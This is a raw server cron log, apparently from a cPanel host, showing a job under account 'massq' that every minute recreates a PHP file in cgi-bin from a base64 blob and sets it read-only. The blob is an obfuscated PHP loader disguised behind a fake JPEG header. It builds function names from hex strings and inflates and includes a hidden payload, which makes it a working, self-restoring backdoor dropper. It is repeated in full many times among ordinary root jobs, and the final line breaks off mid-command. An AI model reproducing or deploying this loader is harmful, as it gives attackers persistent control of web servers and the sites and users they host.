Nov  9 22:46:01 server CROND[21311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:47:01 server CROND[22213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:48:01 server CROND[23034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:49:01 server CROND[23862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:50:01 server CROND[24700]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 22:50:01 server CROND[24701]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 22:50:01 server CROND[24703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:50:01 server CROND[24702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:50:01 server CROND[24704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:51:01 server CROND[25590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:52:01 server CROND[26388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:53:01 server CROND[27096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:54:01 server CROND[27374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:55:01 server CROND[28197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:55:01 server CROND[28198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:55:01 server CROND[28199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:56:01 server CROND[28917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:57:01 server CROND[29739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 22:57:01 server CROND[29740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:58:01 server CROND[30107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:59:01 server CROND[31074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 